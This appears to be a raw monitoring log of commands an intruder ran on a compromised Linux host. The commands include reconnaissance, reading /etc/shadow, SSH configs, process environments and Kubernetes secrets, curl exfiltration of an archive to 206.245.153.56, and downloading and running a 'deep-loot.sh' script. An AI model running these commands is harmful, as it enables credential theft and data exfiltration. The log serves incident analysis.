2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfree -h
2026-10-31 01:23:29Not attributedNot attributedsh -> shfind . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n
2026-10-31 01:23:29Not attributedNot attributedsh -> shfind . -type f ! -name manifest.tsv -print0
2026-10-31 01:23:3123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n
2026-10-31 01:23:5323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shhostname -I
2026-10-31 01:23:5323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${
2026-10-31 01:23:5323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print
2026-10-31 01:23:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/resolv.conf
2026-10-31 01:23:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/hosts
2026-10-31 01:23:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /proc/net/tcp /proc/net/tcp6
2026-10-31 01:23:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /proc/net/udp /proc/net/udp6
2026-10-31 01:23:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /proc/net/route
2026-10-31 01:23:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /proc/net/arp
2026-10-31 01:24:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss
2026-10-31 01:24:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shps auxww
2026-10-31 01:24:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro
2026-10-31 01:24:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load
2026-10-31 01:24:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c=="
2026-10-31 01:24:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /root/.ssh /home/*/.ssh
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /root/.ssh/config /home/*/.ssh/config
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /root
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /root /home
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shwho
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/passwd
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/shadow
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/group
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /etc/sudoers.d
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shw
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/gshadow
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid
2026-10-31 01:24:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e
2026-10-31 01:24:11Not attributedNot attributedsh -> shcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/t1.tgz http://206.245.153.56:8088/1422/t1.tgz
2026-10-31 01:24:16Not attributedNot attributedbash -> bashcurl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.sh
2026-10-31 01:24:16Not attributedNot attributedtimeout -> timeoutsh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks'
2026-10-31 01:24:16Not attributedNot attributedbash -> bashpgrep -n passwd
2026-10-31 01:24:16Not attributedNot attributedsh -> shcurl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz
2026-10-31 01:24:16Not attributedNot attributedsh -> shfind /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2c
2026-10-31 01:24:16Not attributedNot attributedsh -> shmkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-home
2026-10-31 01:24:16Not attributedNot attributedsh -> shtimeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks'
2026-10-31 01:24:16Not attributedNot attributedbash -> bashsh /tmp/deep-loot.sh -i 1422 -n <REDACTED>-deep -l
2026-10-31 01:24:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec
2026-10-31 01:24:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm"
2026-10-31 01:24:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /etc/default /etc/sysconfig
2026-10-31 01:24:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /etc/profile.d
2026-10-31 01:24:2123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock
2026-10-31 01:24:2123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /run/secrets /var/run/secrets
2026-10-31 01:24:2123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /var/run/secrets/kubernetes.io/serviceaccount/
